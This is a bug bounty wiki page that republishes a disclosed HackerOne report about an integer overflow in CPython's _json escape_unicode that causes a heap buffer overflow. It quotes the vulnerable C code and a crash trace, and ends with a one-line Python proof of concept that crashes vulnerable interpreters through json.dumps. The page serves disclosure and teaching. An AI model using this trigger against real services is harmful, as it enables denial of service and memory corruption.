Skip to content
Memory corruption Disclosed report Advanced

Integer overflow in _json_encode_unicode leads to crash

The escape_unicode function in CPython's _json module computed the output buffer size without overflow checks, so a very long string of control characters could make the size calculation wrap around and allocate a buffer that was too small. Writing the escaped output then overran the heap buffer, causing a segmentation fault and memory corruption.

nilch Follow

Originally disclosed on HackerOne

  • Fixed in 3 days
  • Paid in 3 days
  • Disclosed after under an hour

http://bugs.python.org/issue24522

# static PyObject *
# escape_unicode(PyObject *pystr)
# {
#     /* Take a PyUnicode pystr and return a new escaped PyUnicode */
#     Py_ssize_t i;
#     Py_ssize_t input_chars;
#     Py_ssize_t output_size;
#     Py_ssize_t chars;
#     PyObject *rval;
#     void *input;
#     int kind;
#     Py_UCS4 maxchar;
# 
#     if (PyUnicode_READY(pystr) == -1)
#         return NULL;
# 
#     maxchar = PyUnicode_MAX_CHAR_VALUE(pystr);
#     input_chars = PyUnicode_GET_LENGTH(pystr);
#     input = PyUnicode_DATA(pystr);
#     kind = PyUnicode_KIND(pystr);
# 
#     /* Compute the output size */
#     for (i = 0, output_size = 2; i < input_chars; i++) {
#         Py_UCS4 c = PyUnicode_READ(kind, input, i);
#         switch (c) {
#         case '\\': case '"': case '\b': case '\f':
#         case '\n': case '\r': case '\t':
#             output_size += 2;
#             break;
#         default:
#             if (c <= 0x1f)
#                 output_size += 6;
#             else
#                 output_size++;
#         }
#     }
#
#     rval = PyUnicode_New(output_size, maxchar);
#
# 1.) if c is <= 0x1f then output_size += 6. There are no overflow checks on this variable.
# 2.) rval buffer is too small to hold results
#
# Crash:
# ------
#
# Program received signal SIGSEGV, Segmentation fault.
# 0xb7a2e9be in escape_unicode (pystr=pystr@entry=0x8cf81018)
#     at /home/pail/cpython/Modules/_json.c:306
# 306                ENCODE_OUTPUT;
#
# OS info
# --------
#  %./python -V
#  > Python 3.6.0a0
# % uname -a
# Linux Pail0verflow 3.13.0-52-generic #85-Ubuntu SMP Wed Apr 29 16:44:56 UTC 2015 i686 i686 i686 GNU/Linux
#
# ASAN Info (details in other file)
# =================================================================
# ==6512== ERROR: AddressSanitizer: heap-buffer-overflow on address 0xb5c00000 at pc 0xb5f17356 bp 0xbfaa0eb8 sp 0xbfaa0eac
# WRITE of size 1 at 0xb5c00000 thread T0

import json

sp = "\x13"*715827883 #((2**32)/6 + 1) json.dumps([sp], ensure_ascii=False)

The original report as published on HackerOne, by nilch. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the output size accumulator in escape_unicode had no overflow check, so a large input caused the computed size to wrap and a too-small buffer to be allocated.

Impact

A crafted string could cause a heap buffer overflow and crash the interpreter, with potential for memory corruption.

What the attacker needed

Ability to pass a very large crafted string to json.dumps

How it was found

  1. Build a string consisting of a control character repeated a very large number of times.
  2. Pass that string inside a list to json.dumps with ensure_ascii set to false.
  3. Observe the crash in escape_unicode.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When Python turns a string into JSON, it first works out how much space the escaped result will need and allocates a buffer of that size. Here that size was stored in a fixed-width number, and a huge input made it wrap around to a small value, so the program wrote past the end of the buffer. That kind of out-of-bounds write can crash the program and, in principle, let an attacker corrupt memory.

What is Memory corruption?

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.

More from Internet Bug Bounty

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Memory corruption

The lesson behind this report.

Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.